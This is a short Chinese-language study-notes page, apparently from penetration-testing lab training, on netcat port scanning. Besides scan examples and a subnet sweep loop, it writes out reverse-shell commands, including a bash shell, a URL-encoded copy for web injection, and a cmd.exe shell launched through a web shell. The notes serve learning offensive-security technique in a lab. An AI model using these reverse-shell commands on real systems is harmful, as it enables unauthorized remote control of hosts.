

# 【PortScan】 netcat

基本上，一個主機向目的地埠口的伺服器發送TCP SYN數據包。如果目的地埠口是開放的，伺服器將以SYN-ACK數據包回應，並且客戶端主機將發送ACK數據包以完成握手。如果握手成功完成，該埠口被認為是開放的。

我們可以通過在埠口3388-3390上運行TCP Netcat埠口掃描來演示這一點。我們將使用-w選項指定連接超時（以秒為單位），以及-z選項指定零I/O模式，用於掃描並不發送數據。

```
# nc {option} {ip} {port}
# -n 不解析dns
# -v 顯示細節
# -vv 顯示細節(比v多)
# -w timeout (秒)
# -u UDP
# -z syc mode
# port: 1-100 or 53,54,55 連續或跳號

kali@kali:~$ nc -nvv -w 1 -z 192.168.50.152 3388-3390
(UNKNOWN) [192.168.50.152] 3390 (?) : Connection refused
(UNKNOWN) [192.168.50.152] 3389 (ms-wbt-server) open
(UNKNOWN) [192.168.50.152] 3388 (?) : Connection refused
sent 0, rcvd 0

kali@kali:~$ nc -nv -u -z -w 1 192.168.50.149 120-123
(UNKNOWN) [192.168.50.149] 123 (ntp) open
```

```
# listener {port}
nc -nvlp 192.168.45.168 4444

# 開啟shell 連線
nc 192.168.45.168 4444 -e /bin/bash
# 進行URL編碼
nc%20192.168.45.168%204444%20-e%20/bin/bash
```

```
# 土炮 ip scan
database_admin@pgdatabase01:~$ for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

< (seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done
nc: connect to 172.16.50.1 port 445 (tcp) timed out: Operation now in progress
...
nc: connect to 172.16.50.216 port 445 (tcp) failed: Connection refused
Connection to 172.16.50.217 445 port [tcp/microsoft-ds] succeeded!
nc: connect to 172.16.50.218 port 445 (tcp) timed out: Operation now in progress
...
database_admin@pgdatabase01:~$
```

```
# 一旦監聽器正在運行，我們將再次使用Web殼在MULTISERVER03上執行`nc.exe`，
# 並使用`-e`參數在連接建立後執行`cmd.exe`。
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.118.4 4446
```

☺修訂版本 #7

★由 treeman 建立於 6 🍀Q🍀@🍀🍀 2023 02:47:56

🔧由 treeman 更新於 23 🍀@🍀🍀 2024 00:18:38